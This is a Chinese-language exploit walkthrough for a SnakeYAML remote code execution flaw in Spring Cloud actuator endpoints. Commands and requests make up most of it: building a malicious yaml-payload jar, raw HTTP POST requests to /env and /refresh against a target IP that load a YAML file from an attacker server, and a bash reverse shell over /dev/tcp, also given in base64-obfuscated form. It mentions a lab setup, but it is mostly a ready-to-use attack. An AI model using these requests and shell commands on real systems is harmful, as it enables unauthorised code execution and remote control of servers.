/env
接口设置属性/refresh
接口刷新配置(存在 spring-boot-starter-actuator
依赖)spring-cloud-starter
版本 < 1.3.0.RELEASE1、拉取漏洞环境(repository/springcloud-snakeyaml-rce),运行环境,推荐在docker下运行。
//拉取
git clone https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springcloud-snakeyaml-rce
//运行
mvn install
mvn spring-boot:run
2、访问目标url。搭建成功。
3、自定义命令,编译java文件,生成jar文件。(详细:https://github.com/artsploit/yaml-payload)
git clone https://github.com/artsploit/yaml-payload.git
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
4、新建example.yml文件,编辑图中内容。将yaml-payload.jar文件和example.yml文件拷贝到相同目录下。并使用python开启80端口的web服务。
5、设置 spring.cloud.bootstrap.location 属性
spring 1.x
POST /env HTTP/1.1
Host: 140.143.30.49:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
spring.cloud.bootstrap.location=http://you-vps-ip/example.yml
POST /refresh HTTP/1.1
Host: 140.143.30.49:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
bash -i >& /dev/tcp/ip/53 0>&1
命令转换网站(https://x.hacking8.com/?post=293)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80OS4yMzUuMjEyLjExOC81MyAwPiYx}|{base64,-d}|{bash,-i}
https://github.com/LandGrey/SpringBootVulExploit